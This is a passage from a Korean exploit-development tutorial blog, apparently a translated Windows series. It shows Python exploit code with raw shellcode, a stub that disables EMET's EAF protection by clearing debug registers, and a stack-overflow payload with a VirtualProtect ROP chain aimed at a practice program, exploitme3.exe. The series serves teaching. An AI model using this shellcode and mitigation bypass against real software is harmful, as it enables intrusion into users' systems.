"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + "\x30\x03\xc6\xeb\xdd") disable_EAF = ( "\xB8\x50\x01\x00\x00" + # mov eax,150h "\x33\xC9" + # xor ecx,ecx "\x81\xEC\xCC\x02\x00\x00" + # sub esp,2CCh "\xC7\x04\x24\x10\x00\x01\x00" + # mov dword ptr [esp],10010h "\x89\x4C\x24\x04" + # mov dword ptr [esp+4],ecx "\x89\x4C\x24\x08" + # mov dword ptr [esp+8],ecx "\x89\x4C\x24\x0C" + # mov dword ptr [esp+0Ch],ecx "\x89\x4C\x24\x10" + # mov dword ptr [esp+10h],ecx "\x89\x4C\x24\x14" + # mov dword ptr [esp+14h],ecx "\x89\x4C\x24\x18" + # mov dword ptr [esp+18h],ecx "\x54" + # push esp "\x6A\xFE" + # push 0FFFFFFFEh "\x8B\xD4" + # mov edx,esp "\x64\xFF\x15\xC0\x00\x00\x00" + # call dword ptr fs:[0C0h] "\x81\xC4\xD8\x02\x00\x00" # add esp,2D8h ) code = disable_EAF + shellcode name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code f.write(name) write_file(r'c:\deleteme\name.dat') | cs |
ROP의 처음 부분은 ROP chain 마지막에 위치할 인자들을 초기화 합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | # real_code: 0x90901eeb, # jmp skip # args: 0xffffffff, # current process handle 0x11111111, # &address = ptr to address 0x11111111, # &size = ptr to size 0x40, md + 0x705658f2, # &Writable location [MSVCR120.dll] # end_args: 0x11111111, # address <------- the region starts here code_size + 8 # size | cs |
두 번째 인자 (&address)는 end_args로 덮어 써지고 세 번째 인자는 (&size) end_args+4로 덮어 써집니다. 결론적으로 address (end_args)는 그 주소로 덮어 써지게 됩니다.
우리의 코드는 real_code에서 시작해야 하기 때문에 address를 real_code로 덮어 써야 하지만 여기서는 그럴 필요가 없는게 VirtualProtect는 페이지들에서 동작하고 굉장히 높은 확률로 real_code와 end_args는 같은 페이지를 가리키고 있을 것이기 때문입니다.
두 번재 ROP chain은 ntdll.dll에서 call dword ptr fs:[0C0h] # add esp, 4 # ret 14h를 찾고 커널 서비스를 호출합니다.
파이썬 스크립트를 실행 시키면 name.dat 파일을 생성하고 최종적으로 exploitme3.exe를 실행하면 익스플로잇이 정상적으로 동작할 것입니다.
이제 모든 보호 기법들을 활성화 시키고 익스플로잇이 동작하는지 확인해보세요! (ASR은 적용되지 않기 때문에 제외 합니다)
'Projects > Exploit Development' 카테고리의 다른 글
[익스플로잇 개발] 14. IE 10 (한 바이트 쓰기로 전체 메모리 읽기/쓰기) (3) | 2016.07.22 |
---|---|
[익스플로잇 개발] 13. IE 10 (IE 리버싱) (0) | 2016.07.22 |
[익스플로잇 개발] 11. Exploitme5 (힙 스프레잉 & UAF) (3) | 2016.07.22 |
[익스플로잇 개발] 10. Exploitme4 (ASLR) (0) | 2016.07.19 |
[익스플로잇 개발] 09. Exploitme3 (DEP) (0) | 2016.07.19 |
- Total
- Today
- Yesterday
- 데이터 마이닝
- IE 10 Exploit Development
- 쉘 코드 작성
- School CTF Writeup
- IE 11 exploit development
- School CTF Write up
- UAF
- Use after free
- IE 10 익스플로잇
- 2014 SU CTF Write UP
- CTF Write up
- TenDollar
- Windows Exploit Development
- IE 10 God Mode
- shellcode writing
- IE 11 UAF
- IE 11 exploit
- expdev 번역
- 윈도우즈 익스플로잇 개발
- data mining
- WinDbg
- IE 10 리버싱
- 쉘 코드
- heap spraying
- Mona 2
- 힙 스프레잉
- TenDollar CTF
- 2015 School CTF
- IE UAF
- shellcode
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |